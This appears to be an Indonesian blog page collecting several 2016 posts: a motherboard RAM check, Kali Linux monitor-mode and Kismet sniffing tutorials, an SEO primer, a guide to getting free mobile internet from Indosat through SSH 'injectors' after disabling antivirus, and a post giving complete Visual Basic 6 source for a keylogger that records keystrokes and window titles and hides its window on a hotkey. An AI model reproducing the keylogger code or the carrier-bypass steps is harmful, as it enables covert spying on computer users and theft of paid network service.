Breaking News

Friday, May 27, 2016

Mengetahui Max RAM Yang Disupport Motherboard


           Sebelum Anda membeli RAM atau meng-upgrade kapasitas RAM yang anda miliki, pastikan dulu motherboard anda dapat mensupport ram yang akan dibeli. Pada situs ini, dapat terlihat jenis DDR yg support ama mobo anda dan terdapat jumlah slot RAM pada laptop anda.

atau anda ingin meng-upgrade OS anda dari 32 bit menjadi 64 bit ?

Anda harus mengecek terlebih dahulu !

buka situsnya dibawah ini, sudah disediakan direct linknya.

Klik DISINI

Nanti akan tampak seperti ini


















centang "Agree" nya

lalu download ~~

kalo udah didownload, klik 2x filenya 



















Tunggu proses nya sebentar, kurang lebih 1 menit.



















muncul deh hasilnya, seperti gambar dibawah ini



















nanti disitu lengkap, terlihat jenis DDR yg support ama mobo anda dan terdapat jumlah slot RAM pada laptop anda

Terimah Kasih Telah berkunjung Diblog ini ,   
kirimkan komentar anda dibawah !



Read more ...

Menjalankan Mode Monitor Di Kali Linux



      Selamat datang di blog saya,  kali ini saya akan membahas tentang cara Menjalankan Mode Monitor Di kali Linux. Jika mode monitor tidak di jalankan, maka pada AIRODUMP-NG tidak akan berfungsi. Untuk mengatasinya sangatlah mudah....
1.Buka terminal anda
2. Jalankan perintah dibawah ini satu persatu :
    -root@kali:~# airmon-ng start wlan0
   - root@kali:~# ifconfig wlan0mon down
   - root@kali:~# iwconfig wlan0mon mode monitor
   - root@kali:~# ifconfig wlan0mon up
Screenshot%2Bfrom%2B2016-01-06%2B03%253A04%253A03

3. Nah setelah selesai mengikuti perintah diatas, kemudian ketik perintah dibawah ini
        - root@kali:~# airodump-ng wlan0mon
Screenshot%2Bfrom%2B2016-01-06%2B03%253A05%253A02

4. Untuk mematikan interface wlan0mon, ketik perintah diterminal :
     - root@kali:~# airmon-ng stop wlan0mon
5. Untuk menjalankan internet anda yang mati, ketik perintah dibawah ini :
     - root@kali:~# service networking start
     - root@kali:~# service network-manager start

Sekian tutorial dari saya, untuk mengetahui artikel lainnya kunjungi di  http://seluruhnyadisini.blogspot.co.id/

Read more ...

Apa Itu Tools Kismet Di Kali Linux



      Selamat datang di seluruhnyadisini.blogspot.com,  kali ini saya akan membahas tentang tools kismet.  Sebenarnya apa itu kismet ?                                                                                  
Kismet adalah sebuah tools terbaik dan satu-satunya di dunia yang mampu mendeteksi setiap jaringan (network) wireless dengan sempurna tanpa cacat sekalipun jaringan tersebut telah berusaha disembunyikan. Dengan tools standar, kita kadang terkecoh bahwa ternyata ada jaringan yang tetap ada namun tak terpantau oleh komputer kita. Kismet adalah detektor jaringan wireless, sniffer, dan sistem pendeteksi penyusup pada komputer. Kismet dapat bekerja pada beragam tipe wireless card, dengan syarat wireless card kita memiliki fitur MODE MONITOR.

Saat ini wireless sudah berkembang cepat, dimana-mana kita bisa temukan hotspot wifi. Selain memberi kemudahan, perkembangan ini membuka celah keamanan baru. Bermunculan serangan-serangan terhadap wireless, diantaranya ada Akses Point Palsu, dll. Serangan terhadap jaringan wireless memang relatif lebih mudah dibandingkan pada jaringan kabel. Untuk itu admin harus selalu melakukan monitoring terhadap jaringan wireless. Salah satu tools yang bisa digunakan untuk melakukan monitoring jaringan wireless adalah dengan Kismet WIDS.
WIDS merupakan kepanjangan dari Wireless Intrusion Detection Systems. WIDS ini tidak jauh beda dengan IDS lainnya, hanya saja lebih fokus memantau jaringan wireless. Kismet merupakan sebuah wireless network detektor. Kismet bisa digunakan menjadi sniffer dan sistem pendeteksi serangan (intrusion detection system). Kismet bekerja di layer 2, dan pada teknologi wireless 802.11. Kismet membutuhkan wireless card yang bisa menjalankan mode monitoring (rfmon). Kismet bisa digunakan untuk melakukan sniffing trafik pada teknologi wireless 802.11b, 802.11a, 802.11g, dan 802.11n


Keunggulan dari kismet yaitu:
- mendeteksi hospot atau sinyal wifi yang tersembunyi
- mendeteksi ip adress dari hostpot

Fungsi Kismet
 yaitu
-    Untuk mendeteksi dan melihat semua jaringan nirkabel yang terbuka, serta Wireless Network yang tidak menggunakan SSID. Dengan menggunakan tool ini maka dalam hitungan menit kita bisa mengidentifikasi jaringan disekitar.
-    Untuk melihat paket-paket data yang keluar masuk di sekitar kita. Selain itu juga untuk melihat HotSpot di sekitar.

Kismet juga disebut salah satu tool yang digunakan untuk melakukan penyadapan
.

Mungkin itu saja seputar tentang tools kismet yang di atas , semoga sangat bermanfaat bagi anda pecinta hacking.  Dan jangan lupa untuk berkunjung di blog ini, karena ada postingan untuk kelanjutan dari judul di atas !!
Read more ...

Tuesday, May 24, 2016

Tips Inject SSH Indosat Lengkap



Selamat datang diblog saya, kali ini saya akan membahas tentang Inject SSH Indosat. Sebelum dibahas mari kita cari tau, apa itu SSH ? SSH dengan OpenVPN sebenarnya selisih 11/12 alias dapat dibilang hampir sama gan. Secure Shell (SSH) adalah sebuah protokol jaringan kriptografi untuk komunikasi data yang aman, login antarmuka baris perintah, perintah eksekusi jarak jauh, dan layanan jaringan lainnya antara dua jaringan komputer. Ini terkoneksi, melalui saluran aman atau melalui jaringan tidak aman, server dan klien menjalankan server SSH dan SSH program klien secara masing-masing. Protokol spesifikasi membedakan antara dua versi utama yang disebut sebagai SSH-1 dan SSH-2. Bagi anda yang ingin internetan gratis, ikuti tutorial di bawah ini :

1. Langkah Pertama. setting APN modem dengan apn internet.


2. Laangkah Kedua , konnekkan modem .


 3 . Langkah Ketiga, disable antifirus terutama avas .



4. Langkah Keempat, buka aplikasi Bitvise Client v.4.6 nya.


5.klik ' Load profil , ( cari profil ssh yang sudah didownload yang anget/work update )



 6. Setting Proxy
- Proxy mengunakan 127.0.0.1
- Port Mengunakan 8888 ( port 8888 itu untuk simcard indosat,kalau yang lain bisa dilihat   dimasing -masing path/injector )
- Proxy Type pilih HTTP .



7. Kemudian klik listen pada path/injectnya.untuk inject bisa di download diblog ini 'kumpulan injector work'. Karena kebetulan saya pengguna setia indosat saya  menggunakan path/ injector dengan listen port 8888 '(lihat gambar dibawah ini )'



8 .  klik login . jika ada merah merah di bitvise berarti gagal, cari lagi ssh yang lain yang saya update di blog ini, tapi jika sukses ada tulisan seperti gambar di bawah ini.!


succesfull..........


9. Selanjutnya Buka Proxifier (Run Administrator). Maka akan muncul di icon tray. Klik untuk membuka.


 10.Tambahkan Profil dengan mengeklik menu ' Add ' 
Adress   : 127.0.0.1
- Port       : 1082 (tergantung pada SSH/Kartu  - lihat di Servict Bitvise pada kolom Port)
Protocol : SOCKS Version 5
- OK


11. Lakukan Pengecekan Profil ! Klik Check . Jika Berhasil, muncul seperti gambar dibawah ini :


12. Selesai, anda sudah dapat browsing

sekian tutorial kali ini , jangan lupa komen dibawah ini !!!

Read more ...

Belajar SEO



Apa yang dimaksud dengan SEO? Bagi seorang yang sudah memiliki  website, SEO adalah suatu istilah yang mesti  dan haruslah dipahami. Secara gampang SEO adalah Search Engine Optimization adalah suatu proses yang bisa meningkatkan volume dan juga kualitas kunjungan dari suatu website melalui suatu mesin pencari yang ada  seperti google.com dengan carayg alami  dan tidak bayar atau gratis. Secarateori halaman  website bisa menduduki posisi yang berada di atas atau bisa juga terdepan yang berada pada daftarmesin pencari yang berdasarkan dari kata kunci tertentu. Untuk meningkatkan SEOpada website perlu dilakukan dengan cara follow up.
Follow up merupakan salah satu cara untuk meningkatkan seo pada website. Hal ini dilakukan karena SEO merupakan aliran darah bisnis pada toko online. Jika jantung berhenti berdenyut maka, toko maya Anda juga bisa saja berhentu. Jangan melakukan sesuatu hal yang sifatnya spam. Spamming ini bisa mengakibatkan penurunan bukan malah meningkatkan SEO pada website  sehingga turunnya kredibilitas kita sehingga tidak aka nada yang mau membeli pada usaha online Anda. SEO juga bisa dilakukan untuk promosi yang harganya murah lewat internet. Bisa juga dilakukan dengan fans page yang berada pada situs di Facebook, dan juga submit yang dilakukan ke direktori bisnis online serta juga social bookmark. Dan selain itu juga dengan cara mengirimkan email kepada teman Anda dan orang-orang yang Anda kenal. Jangan pernah juga melakukan spam pada email.
Hal yang sulit yang bisa dilakukan untuk meningkatkan SEO pada website agar bisa dikenali oleh search engine namun setidaknya terdapat beberapa hal yang bisa dipertimbangkan agar halaman website Anda menjadi optimal, yakni seperti dibawah ini :
  1. Memilih keyword yang tepat.
  2. Faktor-faktor yang bisa optimal.
  3. Daftarkanlah kembalo situs website Anda kepada semua pencari
  4. Link Exchange
  5. Pengawasan dan mengoptimalisasikan ulang
  6. Perhatikanlah isi dari situs website Anda
Meningkatkan SEO pada  website Anda bisa dilakukan juga dengan cara dibawah ini :
  1. Memilih konten yang sifatnya berkualitas
  2. Menemukan link yang relevan
  3. Memasukkan situs tersebutke direktori
  4. Menambahkan site map
  5. Sabar dan mencoba jalan yang lain.
TEKNIK SEO :
EO adalah usaha-usaha untuk meningkatkan volume dan kualitas trafik sebuah website dari pencarian search engine melalui berbagai teknik. Dengan kata lain SEO adalah strategi-strategi yang bisa dilakukan para pengembang web untuk membuat situs mereka mudah ditemukan dalam pencarian-pencarian search engine sehingga menghasilkan hit atau ranking yang tinggi.  Secara alamiah makin awal urutan sebuah situs yang dihasilkan pada pencarian search engine atau mesin tinggi ranking situs dalam hasil pencarian, akan semakin banyak pengguna internet yang berkunjung ke situs kita. Teknik SEO dibagi menjadi dua yaitu teknik on page dan teknik off page. Teknik SEO onpage selalu dilakukan dengan cara mengatur dari dalam website atau blog, seperti memaksimalkan keyword dan deskripsi agar lebih mudah diraba oleh mesin pencari Sedangkan teknik offpage adalah pemanfaatan ruang diluar blog. Cara ini dirasa sangat efektif mendongkrak popularitas dari sebuah blog.
Teknik SEO onpage :

Beberapa prinsip dasar optimasi dengan onpage adalah:
  1. Menata meta HTML, seperti membuat korelasi yang dapat antara keyword, deskripsi, dan konten.
  2. Memerhatikan judul artikel tiap kali kita memposting artikel. Judul artikel sangat berpengaruh terhadap proses pencarian pada mesin pencari.
  3. Memerhatikan tiap kata dalam artijel. Pada isi artikel, kita bisa melakukan onpage SEO dengan memperbanyak kata-kata yang mendekati atau sama dengan keyword yang kita miliki.
  4. Mengusahakan kalimat pertama alinea pertama mampu mencakup keyword dan deskripsi blog.
  5. Memberikan kode unik pada beberapa tag HTML.
  6. Memberikan keyword pada tag link.
  7. Memasukkan keyword pada gambar. Tiap kali mengupload gambar di dalam artikel, sebaiknya kita menaruh keyword diantara dua tanda petik (“ ”) setelah teks alt. Hal ini disebabkan sebuah gambar tidak mampu dikenali oleh mesin pencari, untuk itu kita masukkan keyword pada alt untuk mendukung teknik SEO onpage yang kita lakukan.
Untuk mendukung kegiatan teknik SEO onpage, kita dapat memanfaatkan fasilitas google analystic untuk mengetahui tingkat kepadatan trafik dari website atau blog kita. Dengan menggunakan google analystic kita dapat membuat repory tentang trafik website atau blog dalam jangka waktu hariang, mingguan, atau bulanan. Untuk mendapatkan fasilitas dari Google ini, sebelumnya kita harus mendaftar terlebih dulu.
  1. Buka alamat google analystic di https://ww.google.com/analystic/. Bila Anda kesulitan dalam bahasa yang digunaakn. Anda bisa memilih pengaturan bahasa dengan bahasa Indonesia di pojok kanan atas tampila web ini.
  2. Klik Daftar Sekarang bila Anda belum memiliki akun di Google Analystic.
  3. Masukkan alamat email dan password untuk membuka akun baru di google analystic. Kemudian  klik Sign In.
  4. Klik Sign Up untuk melanjutkan registrasi.
  5. Masukkan alamat URL web Anda, kemudian atur Zona Waktu Negara atau Daerah dengan Indonesia kemudian Continue.
  6. Isi data diri Anda, dan klik Continue.
  7. Beri tanda centang dibawah form persetujuan tersebut sebagai syarat Anda mematuhi aturan dari Google analystic.
  8. Kemudian klik buat akun baru, agar Anda bisa masuk ke google analystics.
  9. Setelah masuk ke halaman baru pada halaman ini Anda diminta untuk meletakkan script HTML yang ada pada website atauu blog anda. Jangan klik finish yang ada dibawah form script HTML tersebut, tetapi masuklah kea kun blogger terlebih dahulu. Copy terlebih dahulu script tersebut.
  10. Masukkan kea kun Blogger Anda dan pilih halaman edit HTML Anda.
  11. Kemudian cari kode </head> Anda bisa menggunakan fasilitas Ctrl+F untuk memudahkan pencarian. Kemudian copy kode HTML yang ada pada halaman Gogle analystics tadi dan paste kode tersebut diatas kode </head> yang ada pada halaman Edit HTML pada akun Blogger Anda.
mungkin itu saja untuk pembahasan kali ini,  kirim komen anda dibawah ini !!!
 
Read more ...

Membuat Keylogger Dengan Visual Basic



    Sebelum kita membahas tentang Membuat Keylogger Dengan Visual Basic, mari kita mencari tau tentang Keylogger ? Keylogger yaitu sebuah software atau program yang berfungsi untuk mencatat segala aktivitas yang anda lakukan di dalam komputer anda. atau boleh disebut program untuk memata matai aktivitas yg dilakukan di dalam komputer. Biasanya software ini digunakan oleh para hacker untuk menjalankan aksinya.

Bagi anda tertarik dengan keylogger, disini anda bisa membuat nya sendiri dengan visual basic. bagi anda yang belum punya visual basic, anda bisa download DISINI. jika sudah anda download, langsung saja kita bahas :

  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE

  4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
  5. Copas seluruh Code di bawah ini :
    Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib “user32” () As Long
    Private Declare Function GetWindowText Lib “user32” Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
    Private hForegroundWnd As Long
    Private backs As BooleanPrivate Sub Command1_Click()
    Timer1.Enabled = True
    End SubPrivate Sub Command2_Click()
    Timer1.Enabled = False
    End SubPrivate Sub Command3_Click()
    backs = True
    End SubPrivate Sub Command4_Click()
    backs = False
    End SubPrivate Sub Form_Load()
    backs = True
    End Sub Private Sub Label1_Click()
    End Sub
    Private Sub Label4_Click()
    End Sub
    Private Sub Label6_Click()
    Timer1.Enabled = True
    End Sub
    Private Sub Label7_Click()
    Timer1.Enabled = False
    End Sub
    Private Sub Label8_Click()
    backs = True
    End Sub
    Private Sub Label9_Click()
    backs = False
    End Sub
    Private Sub Text1_Change()
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
    End Sub
    Private Sub Timer1_Timer()
    Dim x, x2, i, t As Integer
    Dim win As Long
    Dim Title As String * 1000
    win = GetForegroundWindow()
    If (win = hForegroundWnd) Then
    GoTo Keylogger
    Else
    hForegroundWnd = GetForegroundWindow()
    Title = “”
    GetWindowText hForegroundWnd, Title, 1000
    Select Case Asc(Title)
    Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
    Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ ” & Title
    Text1.Text = Text1.Text & ” ]” & vbCrLf
    End Select
    End If
    Exit Sub
    Keylogger:
    For i = 65 To 90
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    If x2 = -32768 Then
    Text1.Text = Text1.Text & Chr(i)
    Else: Text1.Text = Text1.Text & Chr(i + 32)
    End If
    End If
    Next
    For i = 8 To 222
    If i = 65 Then i = 91
    x = GetAsyncKeyState(i)
    x2 = GetAsyncKeyState(16)
    If x = -32767 Then
    Select Case i
    Case 48
    Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0”)
    Case 49
    Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1”)
    Case 50
    Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2”)
    Case 51
    Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3”)
    Case 52
    Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4”)
    Case 53
    Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5”)
    Case 54
    Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6”)
    Case 55
    Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7”)
    Case 56
    Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8”)
    Case 57
    Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9”)
    Case 112: Text1.Text = Text1.Text & ” F1 “
    Case 113: Text1.Text = Text1.Text & ” F2 “
    Case 114: Text1.Text = Text1.Text & ” F3 “
    Case 115: Text1.Text = Text1.Text & ” F4 “
    Case 116: Text1.Text = Text1.Text & ” F5 “
    Case 117: Text1.Text = Text1.Text & ” F6 “
    Case 118: Text1.Text = Text1.Text & ” F7 “
    Case 119: Text1.Text = Text1.Text & ” F8 “
    Case 120: Text1.Text = Text1.Text & ” F9 “
    Case 121: Text1.Text = Text1.Text & ” F10 “
    Case 122: Text1.Text = Text1.Text & ” F11 “
    Case 123: Text1.Text = Text1.Text & ” F12 “
    Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
    Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<“, “,”)
    Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-“)
    Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
    Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
    Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
    Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
    Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
    Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[“)
    Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, “}”, “]”)
    Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
    Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
    Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
    Case 13: Text1.Text = Text1.Text & vbCrLf
    Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]”
    Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
    Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
    Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
    Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
    Case 32: Text1.Text = Text1.Text & ” “
    Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
    Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
    Case 35: Text1.Text = Text1.Text & ” [ End ] “
    Case 36: Text1.Text = Text1.Text & ” [ Home ] “
    Case 37: Text1.Text = Text1.Text & ” [ Left ] “
    Case 38: Text1.Text = Text1.Text & ” [ Up ] “
    Case 39: Text1.Text = Text1.Text & ” [ Right ] “
    Case 40: Text1.Text = Text1.Text & ” [ Down ] “
    Case 41: Text1.Text = Text1.Text & ” [ Select ] “
    Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
    Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
    Case 46: Text1.Text = Text1.Text & ” [ Del ] “
    Case 47: Text1.Text = Text1.Text & ” [ Help ] “
    Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
    End Select
    End If
    Next
    End Sub
    Private Sub Timer2_Timer()
    Dim a, b, x As Long
    a = GetAsyncKeyState(120)
    b = GetAsyncKeyState(121)
    x = GetAsyncKeyState(16)
    If a = -32767 And x = -32768 Then Me.Hide
    If b = -32767 And x = -32768 Then Me.Show
    End Sub
  6. Jalankan dengan menekan tombol F5
  7. Live demo bisa di download  DISINI 
Read more ...
Designed By